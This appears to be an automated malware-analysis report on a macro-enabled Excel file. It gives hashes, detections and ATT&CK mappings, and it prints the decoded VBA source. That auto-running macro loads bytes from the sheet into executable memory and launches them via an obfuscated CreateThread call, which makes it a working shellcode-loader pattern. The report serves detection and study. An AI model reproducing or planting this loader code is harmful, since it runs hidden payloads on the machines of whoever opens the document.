Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f4595ca4ddc0b968…

MALICIOUS

Office (OOXML)

16.4 KB Created: 2021-10-18 14:56:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-27
MD5: 94af1b0ab343f432eb43dd1610c7054d SHA-1: 23259eb4c166e6fc9a3e0f247486d08125da6d14 SHA-256: f4595ca4ddc0b968f2b5708896877324e2cf7b871516d222bf03c2807f0b1607
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically triggering AutoOpen, Workbook_Open, and Auto_Open heuristics, indicating macro execution upon opening. The VBA script uses Application.Evaluate to call CreateThread, likely to download and execute a second-stage payload. ClamAV detections further confirm its malicious nature as a downloader.

Heuristics 5

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, i As Long, n As Long

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1798 bytes
SHA-256: 075e881b29d5d93facfc1313ce90744396253e82edb2c98243e8c9e3b339e5b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"


Function VBA_Evaluate(Input_String As String)
Application.Volatile
VBA_Evaluate = Application.Evaluate(Input_String)
End Function

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, i As Long, n As Long
#If VBA7 Then
        Dim Xlbufvetp As LongPtr
#Else
        Dim Xlbufvetp As Long
#End If
n = Range("A1", Range("A1").End(xlDown)).Rows.Count
   ReDim Hyeyhafxp(n)
   For i = 0 To n
      Hyeyhafxp(i) = Range("A1").Offset(i, 0)
   Next i
   

        Xlbufvetp = Viqdoc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Dim p1 As String, p2 As String, p3 As String, p4 As String, p5 As String
        p1 = "Cr"
        p2 = "ea"
        p3 = "teT"
        p4 = "hre"
        p5 = "ad"
        VBA_Evaluate (p1 & p2 & p3 & p4 & p5 & "(0, 0, " & Xlbufvetp & ", 0, 0, 0)")
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub





Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19968 bytes
SHA-256: 87d9cb9154bd9ef0eb338154f8417ad1e42332f29539c591ca49c63a0c3147b8
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

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